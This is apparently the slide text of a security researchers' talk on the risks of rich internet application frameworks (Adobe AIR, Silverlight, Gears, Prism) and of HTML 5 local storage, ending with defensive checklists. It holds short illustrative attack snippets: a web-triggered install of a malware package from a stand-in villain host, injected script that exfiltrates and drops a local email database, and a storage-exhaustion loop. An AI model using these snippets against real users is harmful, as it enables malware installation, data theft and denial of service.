Living in the RIA World

Living in the RIA World: 
Blurring the Line between Web and Desktop Security

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Who are we?

- Researchers and consultants with iSEC Partners
- We work with many companies involved in these technologies or with creating rich sites
- We are already starting to see RIA applications in the wild
What’s a RIA?
“Rich Internet Applications”

- As with “Web 2.0”, ill-defined
- May contain some of the following ingredients:
  - AJAXy Flashiness
  - Local storage
  - “Offline mode”
  - Decoupling from the browser
  - Access to lower level OS resources: sockets, hardware devices
  - Appearance of a traditional desktop application
- Our research has shown a huge disparity in features and security design
What’s a RIA?
Party like it’s 1997

- Constantly updating content!
- Push technology!
- No more browsers!
Why use a RIA?

- “Web 2.0” no longer gets you VC funding
- Never learned any real programming languages
- To increase responsiveness — distribute data stores between server and client
- Desktop integration — take advantage of OS UI functionality
- In short, web developers can now write full “desktop” apps. This could be good or bad.
RIA Frameworks

- Adobe AIR
- Microsoft Silverlight
- Google Gears
- Mozilla Prism
RIA Frameworks

Fight!
## Adobe AIR
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Adobe AIR
What is Adobe AIR?

Full-featured desktop runtime based upon Adobe Flash technology

- Cross-browser, cross-platform
- Applications can be created with:
  - Adobe Flex 3
  - Adobe Flash CS3
  - HTML and JS using free tools
- AIR intended to be more powerful than a browser-based RIA
  - There is no sandbox around the application
  - AIR apps run with the full powers of the user
Adobe AIR
What is Adobe AIR?

So it’s just like a Win32 program in the eyes of a security analyst?

- Um, not really
- Power of AIR is the “I” in “RIA”
  - Can be invoked by browser with arguments, like ActiveX or Flash
  - Has many native mechanisms for loading external content
  - Highly likely that developers will utilize Internet content. That’s the point.
Adobe AIR
What is Adobe AIR?

- AIR is best thought of as an ActiveX analogue and not like Flash++
  - Code runs with full privileges, can install malware
  - Native mechanisms allow for interaction with untrusted world
- Fortunately, Adobe has seemed to learn some lessons from ActiveX
Adobe AIR
Adobe AIR Security Model

By default, code included in AIR application has full rights

- New functionality in privileged APIs added to JavaScript and ActionScript
- Some restrictions on interacting with desktop in AIR 1.0
- Existing capabilities can be chained to run native code
- Rumors of additional native code capabilities in future releases
Adobe AIR
Adobe AIR Security Model

- No “code access security” model as understood on other systems, such as Java or .Net
- Instead, five pre-defined sandboxes with fixed capabilities
  - Application — Full perms. Default for code included with AIR app
  - Remote — Code downloaded from internet. Browser-like permissions
  - Three intermediate permissions for local SWFs
AIR has many ways of loading executable content to run, such as HTML/JS and SWFs

Also many ways of getting external untrusted data
- Network traffic
- Arguments from browser invocation
- Command line arguments

Application Sandbox
- Is not supposed to be able to dynamically generate code
  - `eval()` is best example in JS
- Goal is to eliminate XSS and injection attacks that have plagued Flash apps that have more kick with local privileges
Adobe AIR
Adobe AIR Security Model

- Default for remotely loaded code is Remote sandbox
  - Cannot access new dangerous classes, like `FileStream()`
  - Can access `eval()` and other dynamic methods
  - Can be granted cross-domain XHR
- Should be sufficient for most of the content developers would want from Internet, such as HTML or movie SWFs
AIR requires Flash, not currently included
Can be installed via external binary or inside of Flash:
Adobe AIR
Installing an AIR Application

- AIR applications can be bundled as binaries (*.air)
- Can also be installed by a web page from inside a SWF

```
var url:String = "http://www.cybervillains.com/malware.air";
var runtimeVersion:String = "1.0";
var arguments:Array = ["launchFromBrowser"];
airSWF.installApplication(url, runtimeVersion, arguments);
```
Adobe supports signing AIR applications with commercial certificates

Gives you this prompt:

Notice the default selection
Unfortunately, they also support self-signed certificates

Gives you this prompt:
Hmm, looks familiar...
Actually, looks more like pre-IE7 ActiveX
What am I complaining about? They give the correct information
- True, but so did ActiveX
- Allowing users to install signed applets is dangerous enough
- Allowing self-signed (which is same as unsigned) is terrifying
The popularity of ActiveX and the ability of web sites to pop open prompts made it the premier malware seeding mechanism
Adobe Flash is more popular than IE ever was
It’s almost impossible to install ActiveX now. That’s not an accident.
Our suggestions

- Change default action
- Add a countdown timer to discourage mindless clickthrough
- There is already a registry key to disable unsigned install prompts, turn it on by default
- Stop advertising self-signed AIR applications on Adobe.com

There is perhaps room for something between AIR and Flash without the rootkit abilities
# Questions about Silverlight

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Microsoft Silverlight
What is Microsoft Silverlight?

Browser plugin with comparable functionality to Adobe Flash
- Cross-browser, cross-platform
- Utilizes XAML to render content in browser
- Two supported versions
The Silverlight application UI is rendered using Extensible Application Markup Language (XAML)

- XAML was introduced as a part of the Windows Presentation Foundation Framework (WPF) starting with .NET Framework 3.0
- Markup language which declares UI objects that are mapped to partial class definitions
Microsoft Silverlight
What is Microsoft Silverlight?

- Hello World with XAML:

  `<Canvas xmlns="http://schemas.microsoft.com/client/2007"
           xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <TextBlock>Hello World!</TextBlock>
</Canvas>

- XAML objects map to classes or structures and their attributes map to events or properties
- Silverlight plugin renders UI elements
- Depending on the programming model employed, XAML can interact with Javascript, managed code, or both
Microsoft Silverlight
What is Microsoft Silverlight?

Silverlight 1.0

- Javascript + XAML
- No access to OS resources
- Javascript is required for instantiation of the plugin and programming logic
- The plugin renders XAML content
- 1 MB install
Microsoft Silverlight
What is Microsoft Silverlight?

Silverlight 2.0

- Javascript + XAML + Managed code and CoreCLR
- Based on .NET CLR with a security model which sandboxes execution of managed code
- Also supports interaction with JavaScript
- 4 MB install
Script-behind programming model

- Plugin is instantiated with Javascript Silverlight API
- XAML is parsed into object tree mapping UserControl objects to Javascript object model
- XAML event attributes are handled by Javascript
- Javascript can create and load XAML dynamically
- Special Downloader object is based on XMLHttpRequest object
- Downloads content asynchronously, only supports GET, packages of files can be downloaded as compressed folders
Managed code-behind programming model

- Only supported by Silverlight 2.0
- Plugin can be instantiated with either managed code or Javascript Silverlight API
- If the `x:Class` attribute of the root XAML element exists, the XAML objects will be mapped to the Page class of the specified namespace

```xml
<UserControl x:Class="SilverlightApp.Page"
xmns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmns:x="http://schemas.microsoft.com/winfx/2006/xaml"
Width="400" Height="300"/>
```

- This attribute is necessary for managed code-behind interaction
The Silverlight plugin must be embedded as an object in the HTML page:

```html
<object data="data:application/x-silverlight," type="application/x-silverlight-2-b2" width="100" height="100">
  <param name="source" value="ClientBin/SilverlightApp.xap"/>
  <param name="onerror" value="onSilverlightError"/>
  <param name="background" value="white"/>
  <a href="http://go.microsoft.com/fwlink/?LinkId=115261" style="text-decoration: none;">Get Microsoft Silverlight</a>
  <img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style: none"/>
</object>
```

- Tag can either be coded manually
- Or generated with Javascript helper functions
Instantiation and Deployment

Instantiation

- Helper functions provided by *Silverlight.js*, included in the Silverlight SDK
- Generated by string concatenation of parameters passed in call to Silverlight.createObject()

```
function createSilverlight(){
  Silverlight.createObject(
    "Page.xaml",       // Source
    parentElement,     // DOM reference to hosting DIV tag.
    "myPlugin",       // Unique plug-in ID value.
    {
      width:'600',    // Width of rectangular region of plugin
      height:'200',   // Height of rectangular region of plugin
      version:'1.0'   // Plug-in version to use.
    },
    {},                // No events defined --- use empty list.
    "param1, param2"); // InitParams property value.
}
```
Instantiation and Deployment

Instantiation

- Different helper functions if hosted with Microsoft Silverlight Streaming, on http://silverlight.live.com
- Generated by string concatenation of parameters passed in application manifest, an XAML file packaged with uploaded application
- Can be invoked with a control which references Javascript from Microsoft domain...
Instantiation and Deployment

Instantiation

```html
<html xmlns:devlive="http://dev.live.com">
<head>
<script type="text/javascript" src="http://controls.services.live.com/scripts/base/v0.3/live.js"></script>
<script type="text/javascript" src="http://controls.services.live.com/scripts/base/v0.3/controls.js"></script>
</head>

<devlive:slscontrol
    silverlightVersion="1.0"
    src="/XXXXX/HelloWorld/
    installationMode="popup"
    initParams="myKey=keyValue">
</devlive:slscontrol>
```
Instantiation and Deployment

Instantiation

The only mandatory parameter is the source

- **OBJECT source** = path to a zipped folder (.XAP file) on the server hosting the Silverlight application

  `<param name="source" value="ClientBin/SilverlightApp.xap"/>

- **Silverlight.createObject() source** = path to the XAML file on the server hosting the Silverlight application

  "Page.xaml", // Source
Instantiation and Deployment

Instantiation

However there are quite a few optional parameters:

- `enableHtmlAccess`= boolean specifying whether the Silverlight plugin allows hosted content access to the browser DOM

- `initParams`= user defined key/value pairs loaded upon initialization, similar to flashVars

As well as optional events:

- `onLoad`= code initiated when the plugin is successfully instantiated; XAML has been parsed and an object tree has been generated
Instantiation and Deployment

Deployment

When deployed with the OBJECT tag:

- .XAP file contains the application dlls, the application manifest and any localized reference dlls
- .XAP file is cached in the browser upon download
- .XAP is just a .ZIP (and can be deployed with that extension as well)
- So I can download the application code, unzip, disassemble with a tool like .NET Reflector [1]
When deployed with the `Silverlight.createObject()` helper function:

- XAML file is compiled and an object tree generated
- If the `x:class` attribute is defined in the root element of the XAML, managed code initializes the plugin
- Managed code is streamed to the application on demand
Managed code can reference DOM elements and Javascript if the source path is on the same domain as the hosting page

- If `enableHtmlAccess = true` managed code has full access to DOM and Javascript through the `System.Windows.Browser` namespace

```csharp
doc.getElementById("button").AttachEvent("click",
    new EventHandler(this.CallGlobalJSMethod));

private void CallGlobalJSMethod(object o, EventArgs e) {
    HtmlPage.Window.Invoke("globalJSMethod", arg1);
}
```
If $enableHtmlAccess = false$, managed code cannot obtain references to the DOM or Javascript, except in the following scenario:

- The managed code exposes $Scriptable$ entry points which take $ScriptObject$ types as input parameters
- Javascript calls the $Scriptable$ method and passes DOM elements or Javascript references to managed code
Cross-domain communication with the DOM and Javascript is governed by `enableHtmlAccess` parameter as well as the application manifest.

- An attribute of the root element of the application manifest `AllowExternalCallersFromXDomain` can be set to the following enum values:
  1. **No Access**: Default setting which prevents all cross domain access
  2. **Full Access**: Full cross domain access to DOM and Javascript
  3. **ScriptableOnly**: Only allow access through `Scriptable` entry points
Interaction with DOM and Javascript

Crossdomain Access

- A second attribute `AllowInboundCallsFromXDomain` can be set to:
  - `true`: Managed code is exposed to crossdomain Javascript
  - `false`: No crossdomain Javascript can access managed code

```xml
            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
            EntryPointAssembly="MyAppAssembly"
            EntryPointType="MyNamespace.MyApplication"
            AllowExternalCallersFromXDomain="FullAccess"
            AllowInboundCallsFromXDomain="true"/>
```
If hosted on Microsoft Live:

- The remotely hosted app can only communicate with the web page through the key/value pairs passed in `initParams`.
- `initParams` are loaded during execution of the initialization function, after load they are set to read-only.
Silverlight version of the .NET framework has been trimmed down to expose only the functionality that Silverlight developers deemed necessary:

- Collections
- LINQ to objects
- LINQ to XML
- Isolated Storage
- Networking
- Threading
- XML DOM
Access to dangerous functions is governed by the CoreCLR

- There is no such thing as code access security (CAS) in Silverlight
- CAS has been replaced by a security model referred to as the “transparency model”
- Although namespaces retain same names, Silverlight code can only reference libraries shipped with the Silverlight version of the .NET framework
The transparency model breaks up code into three levels with three security attributes:

1. `SecurityTransparentAttribute`
2. `SecuritySafeCriticalAttribute`
3. `SecurityCriticalAttribute`
CoreCLR Security Model

Security Attributes

SecurityTransparentAttribute

- Same privilege level as code without a security attribute defined
- Untrusted code that cannot call any functions or access any fields that elevate the call stack.
- This is the default privilege level of all application code
- Can also be platform code

```c
static IsolatedStorageFile();
```
SecuritySafeCriticalAttribute

- Partial trust code that acts as the gateway between transparent code and full trust code.
- This security attribute was introduced with Silverlight 2.0.
- Assemblies containing code marked with `SecuritySafeCritical` attribute must be signed with Microsoft public key.

```csharp
[SecuritySafeCritical]
public static IsolatedStorageFile GetUserStoreForApplication();
```
CoreCLR Security Model

Security Attributes

SecurityCriticalAttribute

- Full trust code that can access OS resources such as filesystem
- Assemblies containing code marked with SecuritySafeCritical attribute must be signed with Microsoft public key.

```csharp
[SecurityCritical]
private static string FetchOrCreateStore(string groupName, string storeName, IsolatedStorageFile isf)
```
SecuritySafeCritical code acts as the gatekeeper of the sandbox

- The CoreCLR only allows transparent code (*SecurityTransparent* or *SecuritySafeCritical*) to execute
- SecuritySafeCritical code is the only code that can call SecurityCritical methods
- So can’t I make my own custom assemblies and define the SecuritySafeCritical attribute?
Not if Microsoft can help it:

- The CoreCLR prevents us from defining anything in my custom assemblies as SecuritySafeCritical
- When code with the security attribute SecuritySafeCritical attempts to execute in the CoreCLR:
  - The loading assembly is verified with a Microsoft key
  - The path of the loading assembly is checked against the Silverlight install directory
- The CoreCLR effectively ignores any attempts to call unverified SecuritySafeCritical code
Interaction with the Operating System
File System

- Isolated storage is available to the Silverlight application through the `System.IO.IsolatedStorage` namespace.
- The default storage quota is 1 MB, and data is stored in the local application settings folder of the user.
- When local storage is requested by an SL app, identification strings are generated, ids are based on pathname of application.
- The same isolated storage directory will be accessible by any SL app with the same application and group IDs.
Silverlight 2.0 ships with a Silverlight configuration utility

Using the configuration utility, the user has the option to

- Disallow access to isolated storage completely,
- Allow access to isolated storage on a site by site basis,
- Configure the default storage quota
Interaction with the Operating System

File System

The following Web sites are currently using application storage on your computer.

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Enable application storage

Delete...
Delete all...

OK  Cancel
Network sockets are available to the Silverlight applications through the `System.Net.Sockets` namespace.

- Currently only supports TCP sockets.
- Socket connections can only push data to the client.
- Socket connections can be initiated only between the client and the site of origin of the SL app, unless there exists a `crossdomainpolicy.xml` or `clientaccesspolicy.xml` in the root directory of the remote path.
Silverlight 1.0 uses a Javascript object model similar to XMLHttpRequest

Silverlight 2.0 uses WebClient
## Questions about Gears

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Google Gears

- Uses a homegrown API for synchronizing data
- Local SQLite instance used for data storage
- *LocalServer* hosts content locally for offline access
- Works offline via SQL database, local assets, and a local app server, *LocalServer*
- *LocalServer* acts as a broker between the browser and webserver
  - Changes behavior depending on online status
Google Gears
Safety mechanisms

- Uses same origin to restrict access to site databases and LocalServer resource capture
- Provides for parameterized SQL
- Opt-in user dialog
- Gears 0.3 allows for “customization” of this dialog...
Google Gears
Win! j/k fail

Google Gears Security Warning

The website below wants to use Google Gears. This site will be able to store and access information on your computer. What is this?

https://www.wellsfargo.com
http://labs.isecpartners.com

This site has been certified trustworthy by Verisign.

I trust this site. Allow it to use Google Gears.

Never allow this site

Allow  Deny
Google Gears
Here to stay?

- Seen very limited adoption thus far
- Most of the functionality is included in the HTML 5 spec
- So, moving on...
## Mozilla Prism

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Mozilla Prism

- Formerly WebRunner — wraps webapps to appear as desktop apps
- Standalone browser instance, restricted to one domain
  - External links open a regular browser
- Separate user profile
- Certificate errors are a hard failure
Mozilla Prism

- Consists of a webapp bundle with id, URI, CSS, scripting and UI rules in an INI:

```ini
[Parameters]
id=i sec.s i te@i secpart n ers.com
uri=https://www.i sec part n ers.com/
icon=i sec
status=no
location=no
sidebar=no
navigation=no
```
Mozilla Prism

Example bundles
Mozilla Prism
Bundles

- Javascript included with webapp bundles has full XPCOM privs (but not content scripting privs)
- Script in 3rd-party bundles allows modifying browser behavior just like an extension
- Unlike add-ons, no mechanism for signing or verifying goodness of webapp bundles
Mozilla Prism
Prism Install UI

URL: http://www.twitter.com/

Show location bar
Show status messages and progress
Enable navigation keys
Display in the notification area

Create Shortcuts
Desktop
Start Menu
Quick Launch Bar

To uninstall this application, simply delete the shortcuts.
Mozilla Prism
Abuse

- Looks like a bookmark dialog
- No warnings for install
- Full XPCOM scripting privileges
- Low bar for trojans and malicious code — a malicious browser extension, but with no code signing or warning
Demo
HTML 5
New “features” in Firefox and WebKit

- Introduces DOM storage — sessionStorage and localStorage
  - sessionStorage stores arbitrary amounts of data for a single session
  - localStorage persists beyond the session — never expires, limited to 5M
- Database storage via openDatabase()
- All expected to be same-origin
DOM Storage

- The major goals of DOM storage — more storage space and real persistence
- Cookies considered too small
- Users delete cookies, or won’t accept them
- DOM storage bypasses pesky users
- However, pesky users can use:
  - about:config dom.storage.enabled = false
Injection attacks become far more damaging when you can insert code like this:

```javascript
var db = openDatabase("e-mail", [], "My precious e-mail", "3.14");

  allmessages = db.executeSql("SELECT * FROM MSGS", [], function(results) {
    sendToAttacker(results);
  });

  db.executeSql("DROP TABLE MESSAGES", [], function() {
    alert("lol");
  });
```
Firefox 3
Mozilla-specific issues

- Cross-Site XMLHttpRequest — removed in late FF3 betas, but it may return
- `globalStorage`
  - FF2 has weak same-origin restrictions
  - FF2 and FF3 both omit any UI to view/change/delete
  - Deprecated in HTML 5 for `localStorage`

- The RIA world is totally SQL-happy
- Downloads, cookies, form history, search history, etc, all stored in local SQLite databases
  - Why?? This data isn’t relational.
Speaking of tracking and data storage. . .

Did you have History turned off? FF3 turned it back on.

Also new in FF3: nsIdleService — idle tracking through XPCOM

EXSLT — eXtensible Stylesheet Language
Transformations weren’t extensible enough, so here are the extensions.

Websites can now be protocol handlers — a novel way to implement spyware
Webkit
The Lurking Menace

- Used in Safari, iPhone, Android, OpenMoko, Konqueror
- Supports HTML 5 DOM storage mechanisms
  - Particularly crucial on mobile devices, where storage is at a premium
Inherent DoS Risks in HTML 5

- 5M per origin for database objects
- 5M per origin for `localStorage`
- 5M per origin for `globalStorage` (in Firefox)
- Thankfully, no one has hundreds of thousands of origins
  - Except people on internal class A networks
  - Or anyone with wildcard DNS
- Trivial storage exhaustion attacks possible
- Even more so for mobile devices based on WebKit — plus, storage and RAM are often pooled on these
- No exposed UI to disable this
DoS Risks in HTML 5

Attack Scenarios

- Attacker sets up or compromises web server with wildcard DNS
- Upon page visitation of the main virtual host, an IFRAME loads which runs Javascript like this:

```javascript
function storethings(name) {
    globalStorage['cybervillains.org'][name] = "Hi there, from iSEC!";
}

function mul0(str, num) {
    if (!num) return "";
    var newStr = str;
    while (--num) newStr += str;
    return newStr;
}

var i = 0;
while (i < 10000) {
    whee = mul0("A",10000);
    storethings(whee + i);
    i++;
}
```
Each request loads a page instantiating `globalStorage` and/or `localStorage` and database objects

Fill the victim’s hard drive with incriminating evidence — base64-encoded images/files, etc...
Other HTML 5 features not yet implemented
Coming soon to a browser near you

• TCP Connections! Direct ones and broadcast.
• Section 7.3.8, Security: “Need to write this section.”

1http://www.w3.org/html/wg/html5/
All of these frameworks expand the capabilities to store data locally

Introduce privacy/tracking concerns

DoS risk against desktops and mobile devices
Adobe AIR is a desktop application framework
AIR can easily seed malware
The effectiveness of malware attacks will be directly related to the popularity of the platform and the ease of install
Large media attack surfaces pose another option
Most RIA frameworks and HTML 5 include mechanisms for SQL-based storage

XSS now has access to huge, easily retrievable data stores, often pre-login

Retrieving query parameters from untrusted sources can now leads to SQL injection

CSRF from the RIA app to the browser usually still possible

Silverlight and AIR accept input from calling sites, opening Flash-like XSS and XSF vulns
RIA Developer Checklist

- Prevent predictably named data stores — use a per-user GUID embedded in dynamically generated page
- Parameterize SQL statements
- Lock your AIR app to your domain if possible
- Beware of passed-in arguments. Don't use them in JavaScript or to fetch URLs
- Be very careful with sandbox bridging. Don't get cute about bypassing AIR security model
- Use Flex or Flash if you don’t need local power of AIR
  - ...and you probably don’t
Let users opt out.

- User choice is missing here
- Cookies have been opt-out for ages, but other tracking mechanisms haven’t caught up

Limit storage invocations

- 5M per origin is way too much without user interaction, especially on mobile devices
Learn from Microsoft’s mistakes

- They invented RIA with ActiveX
- Advantage: Malware
- Bad guys can get certs. We have a code signing cert from Verisign, and we’re professional bad guys
RIA Framework Vendors
Install Mechanisms

- Users will click yes enough to invite abuse
  - Do not allow self-signed anything without setting an external developer bit
  - Install needs to take longer
  - Watch out for install window DoSing to force a “yes”
  - Using .exe download and install as baseline is not acceptable
  - RIA frameworks need an equivalent to ActiveX killbits
RIA Framework Vendors

Attack Surfaces

- RIA Frameworks are expanding security attack surface
  - Audio codecs
  - Video codecs
  - IL Parser / Virtual Machine
  - Embedded HTML renderer, JavaScript engine, image libraries

- Users do not understand the danger
- Too many exploits will lead to backlash, mass uninstall
Users and Administrators
Advice for Corporate Admins

- Disallow install of RIA frameworks without legitimate business need
  - For Windows, GPO can disable per CLSID
  - Once installed, IEAK becomes useless in enforcing policy in alternative installers
- Discourage development teams from using RIA unnecessarily
- Understand local framework settings that you can set remotely
  - Disable self-signed AIR install
- Block blobs at border proxy if necessary
Users and Administrators
Advice for Normal People

- Don’t install frameworks you don’t need
- Use NoScript or equivalent to block JS/Flash/Silverlight instantiation except when you want it
- Read install boxes carefully
- Buy gold, guns, and canned food
RIA frameworks widely differ in their security models.

It is highly likely that web developers will introduce interesting flaws into their desktop applications.

The Web is becoming less standardized, more complex, and much more dangerous.

To Be Done

- Automated auditing tools for these frameworks are necessary
- Detailed per-framework checklists need to be created
- Plenty of bugs to find for everyone
Thanks for coming!
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